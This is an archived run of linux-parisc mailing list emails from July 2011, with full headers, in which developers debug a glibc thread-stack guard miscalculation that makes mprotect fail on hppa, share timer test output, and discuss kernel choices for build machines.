>> arch_get_unmapped_area.  Not sure if this will fix mprotect.
> What needs to be aligned, the stack value or the addr in a call to mprotect?

Actually, it's not the stack address but the address used in the malloc 
call to allocate the
thread's stack that needs alignment.  I believe 64 bytes are used by the 
parent.  In current
thread setup.  So, it looks like child_stack value is ok.

The Linux man page says the mprotect addr must be a valid pointer or a 
multiple of PAGESIZE.
It's not clear what the mprotect call is trying to protect but it is 
definitely not page aligned.
>> I submitted a patch to return an error if  but there was no comment.
> Reference?
>
http://www.spinics.net/lists/linux-parisc/msg03352.html

Dave
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tst-cputimer1 and tst-timer4
Date: Mon, 4 Jul 2011 14:59:44 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <CADZpyiwkPxzakrm+8rwOOjRnfXWPowsxZfQhDU1cr_ZSBNNhWQ@mail.gmail.com>
References: <CADZpyizeDz0mRxLU3-Scx37DZ4jYMtKBjQn6_ZfxMyjhsT6Lkg@mail.gmail.com>
	<BLU0-SMTP9158F203DF2B6A1AD1D9A4975D0@phx.gbl>
	<CADZpyiwjD2kMPoh9rm1KL_+mYm72nPz8ERHcSuHODkD31qncuQ@mail.gmail.com>
	<CADZpyiwDx-6oHNaCXoVC_XWpeUuZ3_n5RLzdmZK0Aoeh0ra3tw@mail.gmail.com>
	<BLU0-SMTP765C4C4388C64F0F8BF8F8975C0@phx.gbl>
	<CADZpyiyWCa0o2Rpj_PoJLoT28G_SuV4P896Y-+Y3rWQXqmQWTQ@mail.gmail.com>
	<BLU0-SMTP5FDE70B357D278016D47B975C0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1309805994 12011 80.91.229.12 (4 Jul 2011 18:59:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 4 Jul 2011 18:59:54 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc.ca>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 04 20:59:49 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QdoN3-0000Ub-Ai
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jul 2011 20:59:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750860Ab1GDS7r convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jul 2011 14:59:47 -0400
Original-Received: from mail-ey0-f174.google.com ([209.85.215.174]:36869 "EHLO
	mail-ey0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750778Ab1GDS7r convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jul 2011 14:59:47 -0400
Original-Received: by eyx24 with SMTP id 24so1816082eyx.19
        for <linux-parisc@vger.kernel.org>; Mon, 04 Jul 2011 11:59:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=Y1booTidxnORHosZ4Q04wIvHekDlszI76VcMbykHobE=;
        b=ZSQnf4yBz3A88Vm/zSF6hpT+p2MGH0dDHRM5dLNQUN0X0oZCNztzS3PTI3lZifcOy2
         i7S7z9t6T4IXRrv4BBUdwJjjfTH+yWg5AYBii7tzUX3dh/6+uE8Tnj0mArXxDrU9oQSn
         xioPmzHDd9dciBAxEKq5gVozzRUCUXWSWDfLo=
Original-Received: by 10.14.42.12 with SMTP id i12mr1883290eeb.72.1309805984682; Mon,
 04 Jul 2011 11:59:44 -0700 (PDT)
Original-Received: by 10.14.186.140 with HTTP; Mon, 4 Jul 2011 11:59:44 -0700 (PDT)
In-Reply-To: <BLU0-SMTP5FDE70B357D278016D47B975C0@phx.gbl>
X-Google-Sender-Auth: wIT7SqR_iY8ie2fhPAdW2LcuAoE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3843
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3843>

On Mon, Jul 4, 2011 at 2:50 PM, John David Anglin <dave.anglin@bell.net=
> wrote:
> The Linux man page says the mprotect addr must be a valid pointer or =
a
> multiple of PAGESIZE.
> It's not clear what the mprotect call is trying to protect but it is
> definitely not page aligned.

It's trying to protect the new stack for the thread, which is
obviously in the wrong spot.

The new stack is in the middle of the last threads guard.

I don't know what conditions triggered here, but I'm tracking it down.

The C library has a stack cache which might be the culprit, but I'd
believed all these issues fixed, I guess not.

I like easy bugs... this is simply a matter of debugging at this point.

>>> I submitted a patch to return an error if =A0but there was no comme=
nt.
>>
>> Reference?
>>
> http://www.spinics.net/lists/linux-parisc/msg03352.html

Interesting. Thanks.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tst-cputimer1 and tst-timer4
Date: Tue, 5 Jul 2011 13:28:35 -0400
Lines: 105
Approved: news@gmane.org
Message-ID: <CADZpyiyZjaW3HnXJdvVCS+5SSbLmYtXXne6gkWu0KzcmASFUQg@mail.gmail.com>
References: <CADZpyizeDz0mRxLU3-Scx37DZ4jYMtKBjQn6_ZfxMyjhsT6Lkg@mail.gmail.com>
	<BLU0-SMTP9158F203DF2B6A1AD1D9A4975D0@phx.gbl>
	<CADZpyiwjD2kMPoh9rm1KL_+mYm72nPz8ERHcSuHODkD31qncuQ@mail.gmail.com>
	<CADZpyiwDx-6oHNaCXoVC_XWpeUuZ3_n5RLzdmZK0Aoeh0ra3tw@mail.gmail.com>
	<BLU0-SMTP765C4C4388C64F0F8BF8F8975C0@phx.gbl>
	<CADZpyiyWCa0o2Rpj_PoJLoT28G_SuV4P896Y-+Y3rWQXqmQWTQ@mail.gmail.com>
	<BLU0-SMTP5FDE70B357D278016D47B975C0@phx.gbl>
	<CADZpyiwkPxzakrm+8rwOOjRnfXWPowsxZfQhDU1cr_ZSBNNhWQ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1309886924 31769 80.91.229.12 (5 Jul 2011 17:28:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 5 Jul 2011 17:28:44 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc.ca>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 05 19:28:38 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qe9QL-0005Ln-EV
	for glpp-linux-parisc@lo.gmane.org; Tue, 05 Jul 2011 19:28:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753008Ab1GER2h (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Jul 2011 13:28:37 -0400
Original-Received: from mail-ew0-f46.google.com ([209.85.215.46]:46046 "EHLO
	mail-ew0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752947Ab1GER2g (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Jul 2011 13:28:36 -0400
Original-Received: by ewy4 with SMTP id 4so2099222ewy.19
        for <linux-parisc@vger.kernel.org>; Tue, 05 Jul 2011 10:28:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=dR4dl3ckdrfNNcmNA8X/t4aIEmzEzxjYL0FUH0TEPOg=;
        b=G/Vev9SCeSy7LBMbpcmgLGknQ87BvpHtooHZzfNXaAyT5u13BxrLIBBkYhODGbErLr
         bBrDvKxsIYQp95K/Ir/+EjsDBnRn/zlQSwaPEguisASrb3U3p2qKYtIA1I6alepF7F6O
         5BDqUkRQJOtmEfByb0AsCwL6me3jmGCZndxtQ=
Original-Received: by 10.14.43.16 with SMTP id k16mr2248855eeb.200.1309886915294; Tue,
 05 Jul 2011 10:28:35 -0700 (PDT)
Original-Received: by 10.14.186.140 with HTTP; Tue, 5 Jul 2011 10:28:35 -0700 (PDT)
In-Reply-To: <CADZpyiwkPxzakrm+8rwOOjRnfXWPowsxZfQhDU1cr_ZSBNNhWQ@mail.gmail.com>
X-Google-Sender-Auth: DxDdeNYYxm5yU1Vf_fY6pJ-r2gA
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3844
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3844>

On Mon, Jul 4, 2011 at 2:59 PM, Carlos O'Donell <carlos@systemhalted.org> wrote:
> On Mon, Jul 4, 2011 at 2:50 PM, John David Anglin <dave.anglin@bell.net> wrote:
>> The Linux man page says the mprotect addr must be a valid pointer or a
>> multiple of PAGESIZE.
>> It's not clear what the mprotect call is trying to protect but it is
>> definitely not page aligned.
>
> It's trying to protect the new stack for the thread, which is
> obviously in the wrong spot.

Good news.

I have fixed tst-cputimer1.

When a thread uses a cached stack block the location of the guard is
incorrectly computed.

The incorrect guard location causes mprotect to fail, failing the
thread stack allocation, and triggering a thread creation failure.

The defect results:

* in a missed timer event because of the silent death of the timer
thread (SIGEV_THREAD) that used the cached stack.

* in a pthread_create failure with error code EINVAL (22).

With the fix I can now run tst-cputimer1 without a hang, but the test
still complains about timers expiring early, that may be kernel
related.

This is a *serious* defect and would have caused a lot of userspace
instability for any program that uses short running threads (causing
the stack cache to be used).

I'm surprised that things worked so well, it's probably a testament to
the fact that few programs use SIGEV_THREAD, threads, or short running
threads.

When debugging if you slow down thr1 sufficiently, then thr2 can't
reuse the stack and it gets a new one, which works correctly. This
explains the odd behaviour I saw during debugging.

In a similar vein, I found that madvise was being passed an unaligned
block during thread shutdown, resulting in memory not being correctly
given back to the OS.

These two bug fixes should be a serious win for threaded applications on hppa.

~~~ tst-cputimer1 run on patched glibc ~~~
carlos@firin:~/fsrc/glibc-work/tests/tst-cputimer1$ ./tst-cputimer1 >& run.txt
carlos@firin:~/fsrc/glibc-work/tests/tst-cputimer1$ cat run.txt
clock_gettime returned timespec = { 0, 36000000 }
clock_getres returned timespec = { 0, 1 }
*** Calling clock_gettime

*** Checking thr2_cont > =5

*** Incrementing thr2_count

*** timer sig1 invoked too soon: 0.436000000 instead of expected 0.440000000
*** timer sig2 invoked too soon: 0.536000000 instead of expected 0.540000000
*** Calling clock_gettime

*** Checking thr2_cont > =5

*** Incrementing thr2_count

*** Calling clock_gettime

*** Checking thr2_cont > =5

*** Incrementing thr2_count

*** Calling clock_gettime

*** Checking thr2_cont > =5

*** Incrementing thr2_count

*** Calling clock_gettime

*** Checking thr2_cont > =5

*** Incrementing thr2_count

*** Calling clock_gettime

*** Checking thr2_cont > =5

*** Incrementing thr2_count

*** timer thr2 invoked too soon: 2.928000000 instead of expected 2.936000000
*** timer sig1 invoked too soon: 3.424000000 instead of expected 3.436000000
*** timer sig2 invoked too soon: 3.924000000 instead of expected 3.936000000
carlos@firin:~/fsrc/glibc-work/tests/tst-cputimer1$
~~~

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike@sf-mail.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tst-cputimer1 and tst-timer4
Date: Tue, 5 Jul 2011 19:51:16 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <201107051951.16931.eike@sf-mail.de>
References: <CADZpyizeDz0mRxLU3-Scx37DZ4jYMtKBjQn6_ZfxMyjhsT6Lkg@mail.gmail.com> <CADZpyiwkPxzakrm+8rwOOjRnfXWPowsxZfQhDU1cr_ZSBNNhWQ@mail.gmail.com> <CADZpyiyZjaW3HnXJdvVCS+5SSbLmYtXXne6gkWu0KzcmASFUQg@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart3553247.g7zCH0MDeq";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1309888293 8171 80.91.229.12 (5 Jul 2011 17:51:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 5 Jul 2011 17:51:33 +0000 (UTC)
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 05 19:51:30 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qe9mT-0007fs-2W
	for glpp-linux-parisc@lo.gmane.org; Tue, 05 Jul 2011 19:51:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752121Ab1GERv2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Jul 2011 13:51:28 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:48807 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751118Ab1GERv0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Jul 2011 13:51:26 -0400
Original-Received: (qmail 10452 invoked from network); 5 Jul 2011 17:51:23 -0000
Original-Received: from dslb-092-077-069-210.pools.arcor-ip.net ([::ffff:92.77.69.210] HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.19svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Tue, 05 Jul 2011 17:51:23 +0000
User-Agent: KMail/1.13.7 (Linux/2.6.39.2-35-desktop; KDE/4.6.4; x86_64; ; )
In-Reply-To: <CADZpyiyZjaW3HnXJdvVCS+5SSbLmYtXXne6gkWu0KzcmASFUQg@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3845
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3845>

--nextPart3553247.g7zCH0MDeq
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Am Dienstag 05 Juli 2011, 19:28:35 schrieben Sie:
> On Mon, Jul 4, 2011 at 2:59 PM, Carlos O'Donell <carlos@systemhalted.org>=
=20
wrote:
> > On Mon, Jul 4, 2011 at 2:50 PM, John David Anglin <dave.anglin@bell.net=
>=20
wrote:
> >> The Linux man page says the mprotect addr must be a valid pointer or a
> >> multiple of PAGESIZE.
> >> It's not clear what the mprotect call is trying to protect but it is
> >> definitely not page aligned.
> >=20
> > It's trying to protect the new stack for the thread, which is
> > obviously in the wrong spot.
>=20
> Good news.
>=20
> I have fixed tst-cputimer1.

You also wrote "OK, fixed the kernel." So where an when will these fixes sh=
ow=20
up?

Eike

--nextPart3553247.g7zCH0MDeq
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.16 (GNU/Linux)

iEYEABECAAYFAk4TTxQACgkQXKSJPmm5/E4d5ACgl1nCixSlemDKYAZqhpkDtk9H
6tUAn3cW/M2MVnGZY+FoUsCOKdF4kDaI
=W3r4
-----END PGP SIGNATURE-----

--nextPart3553247.g7zCH0MDeq--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tst-cputimer1 and tst-timer4
Date: Tue, 5 Jul 2011 18:17:03 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <CADZpyiyi8=FY-2ihDq0RnXt5BZ3H09pSN1bYCHvQuFTvroCyrQ@mail.gmail.com>
References: <CADZpyizeDz0mRxLU3-Scx37DZ4jYMtKBjQn6_ZfxMyjhsT6Lkg@mail.gmail.com>
	<CADZpyiwkPxzakrm+8rwOOjRnfXWPowsxZfQhDU1cr_ZSBNNhWQ@mail.gmail.com>
	<CADZpyiyZjaW3HnXJdvVCS+5SSbLmYtXXne6gkWu0KzcmASFUQg@mail.gmail.com>
	<201107051951.16931.eike@sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1309904237 13058 80.91.229.12 (5 Jul 2011 22:17:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 5 Jul 2011 22:17:17 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike@sf-mail.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 06 00:17:10 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QeDvZ-0003YL-ED
	for glpp-linux-parisc@lo.gmane.org; Wed, 06 Jul 2011 00:17:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754632Ab1GEWRH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Jul 2011 18:17:07 -0400
Original-Received: from mail-ew0-f46.google.com ([209.85.215.46]:63999 "EHLO
	mail-ew0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752609Ab1GEWRG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Jul 2011 18:17:06 -0400
Original-Received: by ewy4 with SMTP id 4so2176299ewy.19
        for <linux-parisc@vger.kernel.org>; Tue, 05 Jul 2011 15:17:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=v6uis7hxYM2hoE09jkW4/zTBSMfF+y9IUHVNIyBuuU8=;
        b=t8IDa6EkM7iSg2UraeHsYo9dg3EI/TljZxIbcrjYFX8Lf2+ZTOHvZK8KB/VrucPVl+
         kLFJpalArmzXr14OKmlrGzsxwmyyoy0DoBWsU3sSbcmv/vctRrx7SXLjBIK7lDxrBman
         2p5LhVs+blVSfWJCkUrgZ4TgBoof7pcUnDtSU=
Original-Received: by 10.14.127.134 with SMTP id d6mr2390647eei.168.1309904223345; Tue,
 05 Jul 2011 15:17:03 -0700 (PDT)
Original-Received: by 10.14.186.140 with HTTP; Tue, 5 Jul 2011 15:17:03 -0700 (PDT)
In-Reply-To: <201107051951.16931.eike@sf-mail.de>
X-Google-Sender-Auth: WktjDP-bRdMkDksmeRKVjHZfQgA
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3846
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3846>

On Tue, Jul 5, 2011 at 1:51 PM, Rolf Eike Beer <eike@sf-mail.de> wrote:
> Am Dienstag 05 Juli 2011, 19:28:35 schrieben Sie:
>> On Mon, Jul 4, 2011 at 2:59 PM, Carlos O'Donell <carlos@systemhalted.org>
> wrote:
>> > On Mon, Jul 4, 2011 at 2:50 PM, John David Anglin <dave.anglin@bell.net>
> wrote:
>> >> The Linux man page says the mprotect addr must be a valid pointer or a
>> >> multiple of PAGESIZE.
>> >> It's not clear what the mprotect call is trying to protect but it is
>> >> definitely not page aligned.
>> >
>> > It's trying to protect the new stack for the thread, which is
>> > obviously in the wrong spot.
>>
>> Good news.
>>
>> I have fixed tst-cputimer1.
>
> You also wrote "OK, fixed the kernel." So where an when will these fixes show
> up?

Unfortunately I hosed my setup and I didn't have git installed to make
a proper diff so here's a diff versus a somewhat recent tree.

 WIP patch: http://www.parisc-linux.org/~carlos/futex.diff

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Wed, 6 Jul 2011 19:20:53 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <E1F45BBE-F922-4E1C-9DEC-FAF4BF4B4E26@nrc-cnrc.gc.ca>
References: <20110527213516.GH21744@dannf.org> <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca> <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com> <20110601021049.GB3984@hiauly1.hia.nrc.ca> <BANLkTin2DhKC_ss6UsCPYxmTR-UD=GY0uw@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1309994480 9841 80.91.229.12 (6 Jul 2011 23:21:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 6 Jul 2011 23:21:20 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, <carlos@systemhalted.org>,
	<linux-parisc@vger.kernel.org>
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 07 01:21:16 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QebP8-0005Xw-Er
	for glpp-linux-parisc@lo.gmane.org; Thu, 07 Jul 2011 01:21:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753259Ab1GFXVN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Jul 2011 19:21:13 -0400
Original-Received: from toip5.srvr.bell.ca ([209.226.175.88]:47501 "EHLO
	toip5.srvr.bell.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752148Ab1GFXVM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Jul 2011 19:21:12 -0400
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: ApIBAP/nFE5GGh23/2dsb2JhbAAMR7F8wwKGNwSjGg
Original-Received: from bas1-ottawa09-1176116663.dsl.bell.ca (HELO [192.168.2.10]) ([70.26.29.183])
  by toip5.srvr.bell.ca with ESMTP; 06 Jul 2011 19:21:08 -0400
In-Reply-To: <BANLkTin2DhKC_ss6UsCPYxmTR-UD=GY0uw@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3847
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3847>

Hi Thibaut,

On 13-Jun-11, at 6:19 PM, Thibaut VARENE wrote:

>> I would say your other machines need updating even if the process is
>> somewhat rocky as that's the only way a broadbased release can be  
>> tested.
>
> Well I can assign one machine (the a500, being easy to reboot/fix as
> it is) to testing kernels, but for a stable kernel suitable for the
> machines I'm e.g. assigning to the GCC Compile Farm[0], what would be
> a good SMP kernel version to choose? I'm looking for the same level of
> hassle-freeness as 2.6.22.19 since these machines are under relatively
> heavy load and I cannot afford to tend to their care on a daily basis
> ;-)

Sorry for the delay in responding.  I think assigning the a500 to the  
GCC farm
provides good visibility.  For GCC, the kernel version doesn't matter  
much.  The
main issue is stability.

I was wondering if the rp3440 in the ESIEE might be assigned to  
running debian
buildd.  I believe that the current set of known kernel patches will  
make this
machine reasonably stable under medium load.  Carlos recently found a  
big
bug in the kernel futex code.  In any case, I recently successfully  
built many
unstable packages on my rp3440.

I would be willing to help getting this going.

Dave

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Sort output dynamic relocations.
Date: Thu, 7 Jul 2011 11:29:04 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <CADZpyiyS2m9cc=RuUg+DOc3xfEMFOAfdYWwFLbjDTUmgqtnDsQ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1310052564 2031 80.91.229.12 (7 Jul 2011 15:29:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 7 Jul 2011 15:29:24 +0000 (UTC)
To: John David Anglin <dave.anglin@nrc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 07 17:29:16 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QeqVq-0004Gn-NX
	for glpp-linux-parisc@lo.gmane.org; Thu, 07 Jul 2011 17:29:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756753Ab1GGP3G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Jul 2011 11:29:06 -0400
Original-Received: from mail-ey0-f174.google.com ([209.85.215.174]:55280 "EHLO
	mail-ey0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756839Ab1GGP3F (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Jul 2011 11:29:05 -0400
Original-Received: by eyx24 with SMTP id 24so353812eyx.19
        for <linux-parisc@vger.kernel.org>; Thu, 07 Jul 2011 08:29:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        bh=9eEfeLl+nb8HTd1HCaMQmzN52iw4l98nc2RwGu2FX/A=;
